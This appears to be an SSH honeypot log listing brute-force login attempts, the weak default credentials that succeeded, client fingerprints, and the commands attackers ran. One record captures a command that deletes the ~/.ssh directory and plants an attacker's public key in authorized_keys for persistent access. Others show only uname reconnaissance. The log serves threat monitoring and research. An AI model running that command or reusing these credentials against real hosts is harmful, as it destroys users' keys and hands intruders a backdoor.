[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 99ab12e22bf2
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "99ab12e22bf2",
  "src_ip": "209.141.47.217",
  "start_time": "2026-07-24T17:32:48.686899Z",
  "end_time": "2026-07-24T17:32:50.578818Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "postgres",
    "pass": "admin123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
91.92.40.217
2026-07-24 17:32:47.814279 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / Abc123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 4f19fe6cb842
Client Version: SSH-2.0-Go
Engagement Duration: 2.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "4f19fe6cb842",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:32:47.814279Z",
  "end_time": "2026-07-24T17:32:50.091455Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Abc123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:32:41.264822 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: deployer

Record ID: c9f8d9b786c8
Client Version: SSH-2.0-Go
Engagement Duration: 2.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "c9f8d9b786c8",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:32:41.264822Z",
  "end_time": "2026-07-24T17:32:43.793734Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "deployer",
      "pass": "deployer"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:32:35.465569 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: redhat

Record ID: 5701bbc3bf29
Client Version: SSH-2.0-Go
Engagement Duration: 2.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "5701bbc3bf29",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:32:35.465569Z",
  "end_time": "2026-07-24T17:32:37.654938Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "redhat",
      "pass": "redhat"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:32:28.738576 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gitlab-runner

Record ID: 9ea0e5c340d1
Client Version: SSH-2.0-Go
Engagement Duration: 3.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "9ea0e5c340d1",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:32:28.738576Z",
  "end_time": "2026-07-24T17:32:31.770513Z",
  "duration": "3.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "gitlab-runner",
      "pass": "passwd"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:32:22.406669 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: node / 1qaz2wsx

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 31d19f0eb8e2
Client Version: SSH-2.0-Go
Engagement Duration: 1.7s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "31d19f0eb8e2",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:32:22.406669Z",
  "end_time": "2026-07-24T17:32:24.152509Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "node",
    "pass": "1qaz2wsx"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:32:15.813397 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / admin

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 6590f5b918bf
Client Version: SSH-2.0-Go
Engagement Duration: 2.7s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "6590f5b918bf",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:32:15.813397Z",
  "end_time": "2026-07-24T17:32:18.473109Z",
  "duration": "2.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}